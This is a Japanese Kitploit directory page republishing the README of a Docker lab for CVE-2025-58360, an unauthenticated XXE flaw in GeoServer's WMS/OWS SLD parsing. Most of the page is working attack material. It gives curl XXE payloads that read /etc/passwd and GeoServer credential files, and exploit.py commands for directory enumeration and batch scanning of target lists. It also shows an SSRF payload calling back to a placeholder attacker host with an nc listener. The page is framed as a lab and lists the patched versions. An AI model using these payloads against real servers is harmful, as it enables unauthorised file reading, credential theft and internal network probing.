Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-58360-GeoServer-XXE — Dockerベースのラボで、CVE-2025-58360(GeoServer WMS/OWSサービスにおける重要な認証されていないXXEインジェクション)を実証しています。ファイル読み取り、SSRF、ディレクトリ列挙のためのエクスプロイトスクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

Dockerベースのラボで、CVE-2025-58360(GeoServer WMS/OWSサービスにおける重要な認証されていないXXEインジェクション)を実証しています。ファイル読み取り、SSRF、ディレクトリ列挙のためのエクスプロイトスクリプトを含みます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
8ヶ月前未レビュー

CVE-2025-58360: GeoServer XXE ラボ

GeoServer OWS/WMS サービスにおける認証不要のXML外部実体(XXE)インジェクション

CVSS: 9.8 CRITICAL
影響を受けるバージョン: <= 2.25.5, 2.26.0-2.26.1
修正済みバージョン: 2.25.6+, 2.26.2+, 2.27.0+

概要

このラボは、GeoServer の WMS/OWS XML リクエスト処理における重大な XXE 脆弱性 CVE-2025-58360 を実演します。この脆弱性により、認証されていない攻撃者は以下を実行できます:

  • サーバーファイルシステムからの任意のファイルの読み取り
  • Java の file:// ハンドラを介したディレクトリ一覧の取得
  • 内部サービスに対するSSRF攻撃
  • GeoServer 設定ファイルからの認証情報の窃取

根本原因

GeoServer の SLDParser.parseSLD() メソッドは、適切なエンティティ解決の制限なしに XML スタイル文書を処理します。OWS ディスパッチャは AllowListEntityResolver を使用して XXE をブロックしますが、SLD 解析コードパスはこの保護を迂回します:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS ディスパッチャ        | <-- EntityResolver 設定済み
|   (ボディ内の SLD を検出) |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader        |
|   -> SLDHandler.parse()      |
|   -> SLDParser.parseSLD()    | <-- EntityResolver なし!
+-----------------------------+
     |
     v
   XXE 解決 -> ファイル/SSRF

クイックスタート

root@kitploit:~
# 脆弱なインスタンスと修正済みインスタンスの両方を起動
docker-compose up -d

# 脆弱: http://localhost:8080/geoserver
# 修正済み: http://localhost:8081/geoserver

# 起動まで約60秒待機

デフォルトの認証情報: admin / geoserver


攻撃手法

ファイル読み取り

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

脆弱なレスポンス:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

修正済みレスポンス:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

高価値ターゲット

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

ディレクトリ一覧

Java の file:// ハンドラは、ディレクトリを改行区切りのファイルリストとして読み取ります:

root@kitploit:~
# ルートディレクトリの一覧
python3 exploit.py -u http://localhost:8080 --file /

# geoserver データの列挙
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

出力:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

これにより、特定のファイルを狙う前にファイルシステム全体を列挙できます。

SSRF

root@kitploit:~
# リスナーを起動
nc -lvnp 9999

# ペイロード送信
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

エクスプロイトスクリプトの使用

root@kitploit:~
# バージョンチェック
python3 exploit.py -u http://localhost:8080

# 安全なプローブ(データ流出なし)
python3 exploit.py -u http://localhost:8080 --probe

# ファイル読み取り
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# 詳細モード
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# バッチスキャン
python3 exploit.py --list targets.txt --output vulnerable.txt

ラボの構成

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

修正方法

GeoServer 2.25.6+、2.26.2+、または 2.27.0+ にアップグレードしてください。


免責事項

許可されたセキュリティテストおよび教育目的にのみ使用してください。


El Perro Joke

ツールをダウンロード